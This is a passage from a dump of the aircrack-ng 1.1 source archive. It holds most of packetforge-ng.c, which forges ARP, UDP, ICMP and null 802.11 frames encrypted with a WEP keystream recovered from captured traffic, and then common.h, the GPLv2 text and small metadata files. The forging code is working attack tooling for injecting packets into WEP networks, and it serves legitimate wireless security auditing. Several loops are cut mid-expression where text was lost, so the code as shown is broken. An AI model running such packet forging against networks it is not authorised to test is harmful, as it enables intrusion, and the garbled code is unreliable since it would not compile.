0x03; /* set TODS=1,FROMDS=1 */ } if( ((opt.tods&1) == 1) && ((opt.fromds&1) == 0) ) { packet[1] = (packet[1] & 0xFC) | 0x01; /* set TODS=1,FROMDS=0 */ } if( ((opt.tods&1) == 0) && ((opt.fromds&1) == 1) ) { packet[1] = (packet[1] & 0xFC) | 0x02; /* set TODS=0,FROMDS=1 */ } if( ((opt.tods&1) == 0) && ((opt.fromds&1) == 0) ) { packet[1] = (packet[1] & 0xFC); /* set TODS=0,FROMDS=0 */ } return 0; } int set_bssid(unsigned char* packet) { int mi_b; if(packet == NULL) return 1; if( memcmp(opt.bssid, NULL_MAC, 6) == 0 ) { printf("Please specify a BSSID (-a).\n"); return 1; } switch( packet[1] & 3 ) { case 0: mi_b = 16; break; case 1: mi_b = 4; break; case 2: mi_b = 10; break; default: mi_b = 10; break; } /* write bssid mac */ memcpy(packet+mi_b, opt.bssid, 6); return 0; } int set_dmac(unsigned char* packet) { int mi_d; if(packet == NULL) return 1; if( memcmp(opt.dmac, NULL_MAC, 6) == 0 ) { printf("Please specify a destination MAC (-c).\n"); return 1; } switch( packet[1] & 3 ) { case 0: mi_d = 4; break; case 1: mi_d = 16; break; case 2: mi_d = 4; break; default: mi_d = 16; break; } /* write destination mac */ memcpy(packet+mi_d, opt.dmac, 6); return 0; } int set_smac(unsigned char* packet) { int mi_s; if(packet == NULL) return 1; if( memcmp(opt.smac, NULL_MAC, 6) == 0 ) { printf("Please specify a source MAC (-h).\n"); return 1; } switch( packet[1] & 3 ) { case 0: mi_s = 10; break; case 1: mi_s = 10; break; case 2: mi_s = 16; break; default: mi_s = 24; break; } /* write source mac */ memcpy(packet+mi_s, opt.smac, 6); return 0; } /* offset for ip&&udp = 48, for arp = 56 */ int set_dip(unsigned char* packet, int offset) { if(packet == NULL) return 1; if(offset < 0 || offset > 2046) return 1; if( memcmp(opt.dip, NULL_MAC, 4) == 0 ) { printf("Please specify a destination IP (-k).\n"); return 1; } /* set destination IP */ memcpy(packet+offset, opt.dip, 4); return 0; } /* offset for ip&&udp = 44, for arp = 46 */ int set_sip(unsigned char* packet, int offset) { if(packet == NULL) return 1; if(offset < 0 || offset > 2046) return 1; if( memcmp(opt.sip, NULL_MAC, 4) == 0 ) { printf("Please specify a source IP (-l).\n"); return 1; } /* set source IP */ memcpy(packet+offset, opt.sip, 4); return 0; } int set_ipid(unsigned char* packet, int offset) { unsigned short id; if(packet == NULL) return 1; if(offset < 0 || offset > 2046) return 1; id = (rand()&0xFFFF); /* set IP Identification */ memcpy(packet+offset, (unsigned char*)&id , 2); return 0; } int set_dport(unsigned char* packet) { unsigned short port; if(packet == NULL) return 1; port = ((opt.dport >> 8) & 0xFF) + ((opt.dport << 8) & 0xFF00); memcpy(packet+54, &port, 2); return 0; } int set_sport(unsigned char* packet) { unsigned short port; if(packet == NULL) return 1; port = ((opt.sport >> 8) & 0xFF) + ((opt.sport << 8) & 0xFF00); memcpy(packet+52, &port, 2); return 0; } int set_ip_ttl(unsigned char* packet) { unsigned char ttl; if(packet == NULL) return 1; ttl = opt.ttl; memcpy(packet+40, &ttl, 1); return 0; } int set_IVidx(unsigned char* packet) { if(packet == NULL) return 1; if(opt.prga == NULL) { printf("Please specify a PRGA file (-y).\n"); return 1; } /* insert IV+index */ memcpy(packet+24, opt.prga, 4); return 0; } int next_keystream(unsigned char *dest, int size, unsigned char *bssid, int minlen) { struct ivs2_pkthdr ivs2; char *buffer; int gotit=0; if(opt.ivs2 == NULL) return -1; if(minlen > size+4) return -1; while( fread( &ivs2, sizeof(struct ivs2_pkthdr), 1, opt.ivs2 ) == 1 ) { if(ivs2.flags & IVS2_BSSID) { if ( (int) fread( opt.prev_bssid, 6, 1, opt.ivs2) != 1) return -1; ivs2.len -= 6; } if(ivs2.len == 0) continue; buffer = (char*) malloc( ivs2.len ); if(buffer == NULL) return -1; if( (int) fread( buffer, ivs2.len, 1, opt.ivs2 ) != 1) { free(buffer); return -1; } if( memcmp(bssid, opt.prev_bssid, 6) != 0 ) { free(buffer); continue; } if( (ivs2.flags & IVS2_XOR) && ivs2.len >= (minlen+4) && !gotit) { if(size >= ivs2.len) { memcpy(dest, buffer, ivs2.len); opt.prgalen = ivs2.len; } else { memcpy(dest, buffer, size); opt.prgalen = size; } gotit=1; } free(buffer); if(gotit) return 0; } if(feof( opt.ivs2 )) { fseek( opt.ivs2, sizeof(IVS2_MAGIC)+sizeof(struct ivs2_filehdr) -1, SEEK_SET); return 1; } return -1; } int encrypt_data(unsigned char *dest, unsigned char* data, int length) { unsigned char cipher[2048]; int n; if(dest == NULL) return 1; if(data == NULL) return 1; if(length < 1 || length > 2044) return 1; if(opt.prga == NULL && opt.ivs2 == NULL) { printf("Please specify a XOR or %s file (-y).\n", IVS2_EXTENSION); return 1; } if( opt.ivs2 != NULL ) { n = next_keystream(opt.prga, 1500, opt.bssid, length); if(n < 0) { printf("Error getting keystream.\n"); return 1; } if(n==1) { if(opt.first_packet == 1) { printf("Error no keystream in %s file is long enough (%d).\n", IVS2_EXTENSION, length); return 1; } else n = next_keystream(opt.prga, 1500, opt.bssid, length); } } if(opt.prgalen-4 < length) { printf("Please specify a longer PRGA file (-y) with at least %i bytes.\n", (length+4)); return 1; } /* encrypt data */ for(n=0; n= 2048) return 1; f = fopen(srcfile, "rb"); if(f == NULL) { perror("fopen failed."); return 1; } readblock = fread(dest, (size_t)1, (size_t)length, f); if(readblock != (size_t)length) { perror("fread failed"); fclose(f); return 1; } fclose(f); return 0; } int write_cap_packet(unsigned char* packet, int length) { FILE *f; struct pcap_file_header pfh; struct pcap_pkthdr pkh; struct timeval tv; int n; if( opt.cap_out == NULL ) { printf("Please specify an output file (-w).\n"); return 1; } if(opt.first_packet) { if( ( f = fopen( opt.cap_out, "wb+" ) ) == NULL ) { fprintf( stderr, "failed: fopen(%s,wb+)\n", opt.cap_out ); return( 1 ); } pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; n = sizeof( struct pcap_file_header ); if( fwrite( &pfh, 1, n, f ) != (size_t) n ) { fprintf( stderr, "failed: fwrite(pcap file header)\n" ); fclose( f ); return( 1 ); } } else { if( ( f = fopen( opt.cap_out, "ab+" ) ) == NULL ) { fprintf( stderr, "failed: fopen(%s,ab+)\n", opt.cap_out ); return( 1 ); } } gettimeofday( &tv, NULL ); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.len = length; pkh.caplen = length; n = sizeof( pkh ); if( fwrite( &pkh, 1, n, f ) != (size_t) n ) { fprintf( stderr, "fwrite(packet header) failed\n" ); fclose( f ); return( 1 ); } n = length; if( fwrite( packet, 1, n, f ) != (size_t) n ) { fprintf( stderr, "fwrite(packet data) failed\n"); fclose( f ); return( 1 ); } fclose( f ); if(opt.first_packet) opt.first_packet = 0; return 0; } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; struct ivs2_filehdr fivs2; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); if( memcmp( file+(strlen(file)-4), ".xor", 4 ) != 0 && memcmp( file+(strlen(file)-4), "."IVS2_EXTENSION, 4 ) != 0 ) { printf("Is this really a PRGA file: %s?\n", file); } f = fopen(file, "rb"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = (int)ftell(f); rewind(f); if(size > 1500) size = 1500; if( (int)fread( (*dest), size, 1, f ) != 1 ) { fprintf( stderr, "fread failed\n" ); fclose( f ); return( 1 ); } if( memcmp((*dest), IVS2_MAGIC, 4 ) == 0 ) { if( (unsigned) size < sizeof(struct ivs2_filehdr) + 4) { fprintf( stderr, "No valid %s file.", IVS2_EXTENSION); return( 1 ); } memcpy( &fivs2, (*dest) + 4, sizeof(struct ivs2_filehdr)); if(fivs2.version > IVS2_VERSION) { printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION ); } opt.ivs2 = f; fseek(f, sizeof(IVS2_MAGIC)+sizeof(struct ivs2_filehdr)-1, SEEK_SET); } else { //assuming old xor file if( (*dest)[3] > 0x03 ) { printf("Are you really sure that this is a valid keystream? Because the index is out of range (0-3): %02X\n", (*dest)[3] ); } opt.prgalen = size; fclose( f ); } return( 0 ); } int forge_arp() { /* use arp request */ opt.pktlen = 60; memcpy( h80211, ARP_REQ, opt.pktlen ); memcpy( opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); if( set_tofromds(h80211) != 0 ) return 1; if( set_bssid(h80211) != 0 ) return 1; if( set_smac(h80211) != 0 ) return 1; if( set_dmac(h80211) != 0 ) return 1; memcpy( h80211 + 40, opt.smac, 6 ); if( set_dip(h80211, 56) != 0 ) return 1; if( set_sip(h80211, 46) != 0 ) return 1; return 0; } int forge_udp() { unsigned short chksum; opt.pktlen = 61; memcpy(h80211, UDP_PACKET, opt.pktlen); if( set_tofromds(h80211) != 0 ) return 1; if( set_bssid(h80211) != 0 ) return 1; if( set_smac(h80211) != 0 ) return 1; if( set_dmac(h80211) != 0 ) return 1; if( set_dip(h80211, 48) != 0 ) return 1; if( set_sip(h80211, 44) != 0 ) return 1; if( opt.ttl != -1 ) if( set_ip_ttl(h80211) != 0 ) return 1; if( set_ipid(h80211, 36) != 0 ) return 1; /* set udp length */ h80211[57] = '\x09'; /* generate + set ip checksum */ chksum = ip_chksum((unsigned short*)(h80211+32), 20); memcpy(h80211+42, &chksum, 2); return 0; } int forge_icmp() { unsigned short chksum; opt.pktlen = 60; memcpy(h80211, ICMP_PACKET, opt.pktlen); if(memcmp(opt.dmac, NULL_MAC, 6) == 0) { memcpy( opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); } if( set_tofromds(h80211) != 0 ) return 1; if( set_bssid(h80211) != 0 ) return 1; if( set_smac(h80211) != 0 ) return 1; if( set_dmac(h80211) != 0 ) return 1; if( set_dip(h80211, 48) != 0 ) return 1; if( set_sip(h80211, 44) != 0 ) return 1; if( opt.ttl != -1 ) if( set_ip_ttl(h80211) != 0 ) return 1; if( set_ipid(h80211, 36) != 0 ) return 1; /* generate + set ip checksum */ chksum = ip_chksum((unsigned short*)(h80211+32), 20); memcpy(h80211+42, &chksum, 2); return 0; } int forge_null() { opt.pktlen = opt.size; memcpy(h80211, NULL_PACKET, 24); memset(h80211+24, '\0', (opt.pktlen - 24)); if(memcmp(opt.dmac, NULL_MAC, 6) == 0) { memcpy( opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); } if( set_tofromds(h80211) != 0 ) return 1; if( set_bssid(h80211) != 0 ) return 1; if( set_smac(h80211) != 0 ) return 1; if( set_dmac(h80211) != 0 ) return 1; if( opt.pktlen > 26 ) h80211[26]=0x03; return 0; } int forge_custom() { if(capture_ask_packet( &opt.pktlen ) != 0) return 1; // if(read_raw_packet(h80211, opt.raw_file, opt.pktlen) != 0) return 1; if( set_tofromds(h80211) != 0 ) return 1; if(memcmp(opt.bssid, NULL_MAC, 6) != 0) { if( set_bssid(h80211) != 0 ) return 1; } if(memcmp(opt.dmac, NULL_MAC, 6) != 0) { if( set_dmac(h80211) != 0 ) return 1; } if(memcmp(opt.smac, NULL_MAC, 6) != 0) { if( set_smac(h80211) != 0 ) return 1; } return 0; } void print_usage(void) { printf(usage, getVersion("Packetforge-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } int main(int argc, char* argv[]) { int arg; int option_index; int ret; int n; memset( &opt, 0, sizeof( opt ) ); /* initialise global options */ memset(opt.bssid, '\x00', 6); memset(opt.dmac, '\x00', 6); memset(opt.smac, '\x00', 6); memset(opt.dip, '\x00', 4); memset(opt.sip, '\x00', 4); memset(opt.fctrl, '\x00', 2); opt.prga = NULL; opt.cap_out = NULL; opt.raw_file = NULL; opt.mode = -1; opt.pktlen = -1; opt.prgalen = -1; opt.ttl = -1; opt.sport = -1; opt.dport = -1; opt.tods = 1; opt.fromds = 0; opt.encrypt = 1; opt.size = 30; opt.ivs2 = NULL; memset(opt.prev_bssid, '\x00', 6); opt.first_packet = 1; opt.num_packets = 1; srand(time(NULL)); while( 1 ) { static struct option long_options[] = { {"arp", 0, 0, '0'}, {"udp", 0, 0, '1'}, {"icmp", 0, 0, '2'}, {"null", 0, 0, '3'}, {"custom", 0, 0, '9'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; int option; option_index = 0; option = getopt_long( argc, argv, "p:a:c:h:jok:l:j:r:y:01239w:et:s:Hn:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'p' : ret = sscanf( optarg, "%x", &arg ); if( arg < 0 || arg > 65535 || ret != 1) { printf( "Invalid frame control word. [0-65535]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.fctrl[0]=((arg>>8)&0xFF); opt.fctrl[1]=(arg&0xFF); break; case 't' : ret = sscanf( optarg, "%i", &arg ); if( arg < 0 || arg > 255 || ret != 1) { printf( "Invalid time to live. [0-255]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.ttl = arg; break; case 'n' : ret = sscanf( optarg, "%i", &arg ); if( arg <= 0 || ret != 1) { printf( "Invalid number of packets. [>=1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.num_packets = arg; break; case 'a' : if( getmac( optarg, 1, opt.bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : if( getmac( optarg, 1, opt.dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'j' : opt.fromds = 1; break; case 'o' : opt.tods = 0; break; case 'e' : opt.encrypt = 0; break; case 'r' : if( opt.raw_file != NULL ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.raw_file = optarg; break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'w' : if( opt.cap_out != NULL ) { printf( "Output file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.cap_out = optarg; break; case 'k' : if( getip(optarg, opt.dip, &(opt.dport)) != 0 ) { printf( "Invalid destination IP address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return 1; } break; case 'l' : if( getip(optarg, opt.sip, &(opt.sport)) != 0 ) { printf( "Invalid source IP address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return 1; } break; case 's' : ret = sscanf( optarg, "%i", &arg ); if( arg < 26 || arg > 1520 || ret != 1) { printf( "Invalid packet size. [26-1520]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.size = arg; break; case '0' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 0; break; case '1' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 1; break; case '2' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 2; break; case '3' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 3; break; case '9' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 9; break; case 'H' : print_usage(); return( 1 ); default : break; } } if(argc == 1) { print_usage(); printf("Please specify a mode.\n"); return( 1 ); } if( opt.raw_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.raw_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.raw_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } for(n=0; n 1?"s":""), opt.cap_out ); if(opt.ivs2) fclose(opt.ivs2); return 0; } aircrack-ng-1.1/src/common.h0000644000000000000000000000165011215055503014461 0ustar rootroot#ifndef _COMMON_H_ #define _COMMON_H_ #define SWAP(x,y) { unsigned char tmp = x; x = y; y = tmp; } #define SWAP32(x) \ x = ( ( ( x >> 24 ) & 0x000000FF ) | \ ( ( x >> 8 ) & 0x0000FF00 ) | \ ( ( x << 8 ) & 0x00FF0000 ) | \ ( ( x << 24 ) & 0xFF000000 ) ); #define PCT { struct tm *lt; time_t tc = time( NULL ); \ lt = localtime( &tc ); printf( "%02d:%02d:%02d ", \ lt->tm_hour, lt->tm_min, lt->tm_sec ); } #ifndef MAX #define MAX(x,y) ( (x)>(y) ? (x) : (y) ) #endif #ifndef MIN #define MIN(x,y) ( (x)>(y) ? (y) : (x) ) #endif #ifndef ABS #define ABS(a) ((a)>=0?(a):(-(a))) #endif // For later use in aircrack-ng #define CPUID_MMX_AVAILABLE 1 #define CPUID_SSE2_AVAILABLE 2 #define CPUID_NOTHING_AVAILABLE 0 #if defined(__i386__) || defined(__x86_64__) #define CPUID() shasse2_cpuid() #else #define CPUID() CPUID_NOTHING_AVAILABLE #endif #endif aircrack-ng-1.1/LICENSE0000644000000000000000000004313310761053203013240 0ustar rootroot GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. aircrack-ng-1.1/AUTHORS0000644000000000000000000000005410761053203013276 0ustar rootrootThomas d'Otreppe aircrack-ng-1.1/VERSION0000644000000000000000000000000311364647470013307 0ustar rootroot1.1aircrack-ng-1.1/patchchk0000644000000000000000000000611310761053203013740 0ustar rootroot#! /bin/sh PATCH=`which patch 2>/dev/null` 